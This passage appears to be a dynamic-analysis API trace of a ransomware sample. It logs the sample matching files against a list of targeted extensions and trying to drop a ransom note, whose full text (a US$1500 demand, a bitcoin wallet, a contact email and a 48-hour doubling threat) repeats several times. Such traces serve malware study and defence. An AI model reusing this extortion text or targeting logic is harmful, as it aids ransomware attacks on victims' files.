5 [0165.375] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.idx") returned 0 [0165.375] lstrlenA (lpString="*.idx") returned 5 [0165.375] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.dbx") returned 0 [0165.375] lstrlenA (lpString="*.dbx") returned 5 [0165.375] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.sql") returned 0 [0165.375] lstrlenA (lpString="*.sql") returned 5 [0165.375] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.mdb") returned 0 [0165.375] lstrlenA (lpString="*.mdb") returned 5 [0165.375] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.fdb") returned 0 [0165.375] lstrlenA (lpString="*.fdb") returned 5 [0165.375] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.wab") returned 0 [0165.375] lstrlenA (lpString="*.wab") returned 5 [0165.375] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.dat") returned 0 [0165.376] lstrlenA (lpString="*.dat") returned 5 [0165.376] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.txt") returned 0 [0165.376] lstrlenA (lpString="*.txt") returned 5 [0165.376] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.jpeg") returned 0 [0165.376] lstrlenA (lpString="*.jpeg") returned 6 [0165.376] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.jpg") returned 0 [0165.376] lstrlenA (lpString="*.jpg") returned 5 [0165.376] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.png") returned 0 [0165.376] lstrlenA (lpString="*.png") returned 5 [0165.376] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.php") returned 0 [0165.376] lstrlenA (lpString="*.php") returned 5 [0165.376] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.cs") returned 0 [0165.376] lstrlenA (lpString="*.cs") returned 4 [0165.376] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.cpp") returned 0 [0165.376] lstrlenA (lpString="*.cpp") returned 5 [0165.376] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.rar") returned 0 [0165.376] lstrlenA (lpString="*.rar") returned 5 [0165.376] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.zip") returned 0 [0165.376] lstrlenA (lpString="*.zip") returned 5 [0165.376] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.html") returned 0 [0165.376] lstrlenA (lpString="*.html") returned 6 [0165.376] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.htm") returned 0 [0165.376] lstrlenA (lpString="*.htm") returned 5 [0165.376] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.xlsx") returned 0 [0165.377] lstrlenA (lpString="*.xlsx") returned 6 [0165.377] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.xls") returned 0 [0165.377] lstrlenA (lpString="*.xls") returned 5 [0165.377] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.mp4") returned 0 [0165.377] lstrlenA (lpString="*.mp4") returned 5 [0165.377] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.ppt") returned 0 [0165.377] lstrlenA (lpString="*.ppt") returned 5 [0165.377] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.pptx") returned 0 [0165.377] lstrlenA (lpString="*.pptx") returned 6 [0165.377] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.doc") returned 0 [0165.377] lstrlenA (lpString="*.doc") returned 5 [0165.377] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.dot") returned 0 [0165.377] lstrlenA (lpString="*.dot") returned 5 [0165.377] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.docx") returned 0 [0165.377] lstrlenA (lpString="*.docx") returned 6 [0165.377] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.7z") returned 0 [0165.377] lstrlenA (lpString="*.7z") returned 4 [0165.377] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.tar") returned 0 [0165.377] lstrlenA (lpString="*.tar") returned 5 [0165.377] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.bz2") returned 0 [0165.377] lstrlenA (lpString="*.bz2") returned 5 [0165.377] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.gz") returned 0 [0165.377] lstrlenA (lpString="*.gz") returned 4 [0165.379] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf31189e, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf31189e, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x974e5d7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="legend.browser", cAlternateFileName="LEGEND~1.BRO")) returned 1 [0165.379] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.379] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="legend.browser") returned -1 [0165.379] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="legend.browser") returned -1 [0165.379] lstrcmpiA (lpString1="", lpString2="legend.browser") returned -1 [0165.379] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser") returned="jphone.browser" [0165.379] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.379] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.379] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.379] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.379] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.380] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.380] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.380] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.380] CloseHandle (hObject=0xffffffff) returned 0 [0165.380] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="legend.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\legend.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\legend.browser" [0165.380] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf3379fb, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf3379fb, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9750bed9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3bcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MME.browser", cAlternateFileName="MME~1.BRO")) returned 1 [0165.381] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.381] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MME.browser") returned -1 [0165.381] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MME.browser") returned -1 [0165.381] lstrcmpiA (lpString1="", lpString2="MME.browser") returned -1 [0165.381] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\legend.browser") returned="legend.browser" [0165.381] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.381] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.381] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.381] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.381] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.381] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.381] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.382] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.382] CloseHandle (hObject=0xffffffff) returned 0 [0165.382] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="MME.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\MME.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\MME.browser" [0165.382] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf3379fb, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf3379fb, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9750bed9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x33ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozilla.browser", cAlternateFileName="MOZILL~1.BRO")) returned 1 [0165.382] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.382] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mozilla.browser") returned -1 [0165.382] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mozilla.browser") returned -1 [0165.382] lstrcmpiA (lpString1="", lpString2="mozilla.browser") returned -1 [0165.382] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\MME.browser") returned="MME.browser" [0165.382] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.382] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.383] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.383] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.383] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.383] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.383] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.383] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.383] CloseHandle (hObject=0xffffffff) returned 0 [0165.383] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="mozilla.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\mozilla.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\mozilla.browser" [0165.384] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf35db58, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf35db58, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x975f070d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1908, dwReserved0=0x0, dwReserved1=0x0, cFileName="netscape.browser", cAlternateFileName="NETSCA~1.BRO")) returned 1 [0165.384] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.384] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="netscape.browser") returned -1 [0165.384] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="netscape.browser") returned -1 [0165.384] lstrcmpiA (lpString1="", lpString2="netscape.browser") returned -1 [0165.384] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\mozilla.browser") returned="mozilla.browser" [0165.384] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.384] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.384] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.384] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.384] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.385] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files 